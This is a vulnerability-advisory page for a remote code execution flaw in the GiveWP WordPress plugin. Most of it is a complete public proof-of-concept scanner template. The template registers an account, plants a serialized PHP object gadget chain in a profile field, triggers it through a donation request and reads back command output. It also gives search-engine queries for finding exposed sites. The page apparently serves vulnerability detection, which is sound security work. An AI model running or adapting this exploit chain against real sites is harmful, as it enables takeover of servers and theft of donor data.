CVE-2026-82222: GiveWP <= 4.16.7.1 - Remote Code Execution

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input

PoC代码[已公开]

id: CVE-2026-82222

info:
  name: GiveWP <= 4.16.7.1 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input
  impact: |
    Attackers can perform object injection leading to potential code execution or application logic manipulation.
  remediation: |
    Update to the latest version beyond 4.16.7.1.
  reference:
    - https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
    - https://www.cve.org/CVERecord?id=CVE-2026-82222
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-82222
    epss-score: 0.01547
    epss-percentile: 0.73603
    cwe-id: CWE-502
  metadata:
    max-request: 7
    verified: true
    vendor: givewp
    product: givewp
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/give/"
    fofa-query: body="/wp-content/plugins/give/"
  tags: cve,cve2026,wordpress,wp-plugin,givewp,rce,deserialization,intrusive,vkev

variables:
  cmd: "id"
  cmd_len: "{{len(cmd)}}"

flow: |
  var chars = "acfhjnprx";
  var u = "give";
  var e = "give";
  var p = "P0c";
  for (var i = 0; i < 8; i++) u += chars.charAt(Math.floor(Math.random() * chars.length));
  for (var i = 0; i < 8; i++) e += chars.charAt(Math.floor(Math.random() * chars.length));
  for (var i = 0; i < 6; i++) p += chars.charAt(Math.floor(Math.random() * chars.length));
  e += "@example.com";
  p += "Aa1!";
  set("username", u);
  set("email", e);
  set("password", p);
  http(1);
  if (!template["form_id"]) set("form_id", "1");
  if (http(2)) {
    http(3);
    if (http(4)) {
      http(5);
      if (!template["form_nonce"]) set("form_nonce", "no-hash");
      http(6);
      http(7);
    }
  }

http:
  - raw:
      - |
        GET /wp-json/wp/v2/give_forms HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - '"id"\s*:\s*(\d+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        give_action=user_register&give_register_submit=1&give_user_login={{username}}&give_user_email={{email}}&give_user_pass={{password}}&give_user_pass2={{password}}&give_redirect={{RootURL}}/

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "profile.php")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: profile_nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce"[^>]+value="([^"]+)"'
        internal: true

      - type: regex
        name: user_id
        part: body
        group: 1
        regex:
          - 'name="user_id"[^>]+value="([0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A%7Bs%3A15%3A%22loadedProviders%22%3Ba%3A1%3A%7Bs%3A6%3A%22getBag%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A13%3A%22attributeName%22%3Bs%3A{{cmd_len}}%3A%22{{url_encode(cmd)}}%22%3B%7D%7D&nickname={{username}}&display_name={{username}}&email={{email}}&url=&description=&pass1=&pass2=&user_login={{username}}

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=give_donation_form_nonce&give_form_id={{form_id}}

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: form_nonce
        part: body
        group: 1
        regex:
          - '"data"\s*:\s*"([a-f0-9]{8,12})"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=give_process_donation&give-form-id={{form_id}}&give-form-hash={{form_nonce}}&give-amount=25.00&give-gateway=manual&give-price-id=0&give_first=Test&give_email={{email}}&give-form-title=PoC&give-current-url={{RootURL}}/

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302 || status_code == 500'
        internal: true

  - raw:
      - |
        GET /?give_action=view_receipt HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'regex("uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)", body)'
        condition: and

    extractors:
      - type: regex
        name: rce_output
        group: 0
        regex:
          - 'uid=\d+\([^\)]+\)\s+gid=\d+\([^\)]+\)'
# digest: 4a0a00473045022100efb165dec39dc4af52520504ce53952f8773a54a982d35237283ba3bb8ae25e30220065002f94a13f6dbf1db381f546fdfa80d107d6b188081e39da86f64db9dcca7:922c64590222798bb761d5b6d8e72950